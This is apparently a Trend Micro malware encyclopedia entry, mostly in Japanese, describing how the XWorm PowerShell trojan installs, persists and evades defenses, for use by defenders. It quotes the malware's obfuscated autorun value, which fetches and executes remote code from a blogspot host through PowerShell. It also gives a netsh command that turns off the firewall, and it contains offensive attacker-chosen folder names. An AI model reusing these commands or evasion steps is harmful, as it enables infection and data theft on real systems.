Trojan.PS1.XWORM.AB

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のフォルダを追加します。

• %ProgramData%\nipplesnigger → Deletes afterwards

(註：%ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

マルウェアは、以下のファイルを作成します。

• %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward

(註：%ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

マルウェアは、以下のプロセスを追加します。

• netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll

マルウェアは、以下のレジストリ値を変更します。

HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0

(註：変更前の上記レジストリ値は、「1」となります。)

プロセスの終了

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

• RegSvcs
• Mshta
• Wscript
• Msbuild

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• https://{BLOCKED}lcleanedcap.blogspot.com////////////////////atom.xml

その他

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32

マルウェアは、以下を実行します。

• Terminates process containing .bat.exe in its process name
• Deletes files in the following folders:
  • %Application Data%
  • %Public%
  • %User Startup%
  • with the following extensions:
  • .bat
  • .ps1
  • .lnk
  • .bat.exe
  • .cmd
• Deletes files in the following folders:
  • %Public%
  • %Application Data%
  • %ProgramData%
  • with the following extension:
  • .vbs
• Exclude the following in Windows Defender scans:
  • Extensions:
  • .ppam
  • .xls
  • .docx
  • .vbs
  • .js
  • Drives:
  • C:\
  • D:\
  • E:\
  • Processes:
  • explorer.exe
  • kernel32.dll
  • aspnet_compiler.exe
  • cvtres.exe
  • CasPol.exe
  • csc.exe
  • Msbuild.exe
  • ilasm.exe
  • InstallUtil.exe
  • jsc.exe
  • powershell.exe
  • rundll32.exe
  • conhost.exe
  • Csript.exe
  • mshta.exe
  • cmd.exe
  • DefenderisasuckingAntivirus
  • wscript.exe
  • IP Address:
  • 127.0.0.1
• Disable Windows Defender
• It bypasses the Antimalware Scan Interface (AMSI).

(註：%User Startup%フォルダは、現在ログオンしているユーザのスタートアップフォルダです。Windows 98およびMEの場合、通常 "C:\Windows\Profiles\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows NTの場合、通常 "C:\WINNT\Profiles\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows 2003(32-bit)、XP、2000(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Start Menu\Programs\Startup" です。Windows Vista、7、8、 8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" です。. %ProgramData%フォルダは、マルチユーザーシステムにおいて任意のユーザがプログラムに変更を加えることができるプログラムファイルフォルダのバージョンです。これには、すべてのユーザのアプリケーションデータが含まれます。Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\ProgramData" です。Windows Server 2003(32-bit)、2000(32-bit)、XPの場合、通常 "C:\Documents and Settings\All Users" です。 )

以下のスケジュールされたタスクを追加します：

• Task Name: lexerti1
• Trigger: Once {Current Date plus 402 minutes}
• Action: Mshta {Script}

<補足>
インストール

マルウェアは、以下のフォルダを追加します。

• %ProgramData%\nipplesnigger → 後に削除される

マルウェアは、以下のファイルを作成します。

• %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → 後に削除される

その他

マルウェアは、以下を実行します。

• プロセス名に「.bat.exe」を含むプロセスを終了します。
• 以下のフォルダ内のファイルを削除します。
  • %Application Data%
  • %Public%
  • %User Startup%
    • 上記フォルダ内で以下の拡張子を持つファイル：
      • .bat
      • .ps1
      • .lnk
      • .bat.exe
      • .cmd
• 以下のフォルダ内のファイルを削除します。
  • %Public%
  • %Application Data%
  • %ProgramData%
    • 上記フォルダ内で以下の拡張子を持つファイル：
      • .vbs
• Windows Defenderのスキャンから以下を除外します。
  • 拡張子：
    • .ppam
    • .xls
    • .docx
    • .vbs
    • .js
  • ドライブ：
    • C:\
    • D:\
    • E:\
  • プロセス：
    • explorer.exe
    • kernel32.dll
    • aspnet_compiler.exe
    • cvtres.exe
    • CasPol.exe
    • csc.exe
    • Msbuild.exe
    • ilasm.exe
    • InstallUtil.exe
    • jsc.exe
    • powershell.exe
    • rundll32.exe
    • conhost.exe
    • Csript.exe
    • mshta.exe
    • cmd.exe
    • DefenderisasuckingAntivirus
    • wscript.exe
  • IPアドレス：
    • 127.0.0.1
• Windows Defenderの無効化
• マルウェア対策スキャン・インターフェース（AMSI）を回避します。

以下のスケジュールされたタスクを追加します：

• タスク名: lexerti1
• トリガ: 一回 {現在の日付 ＋ 402分}
• アクション: Mshta {スクリプト}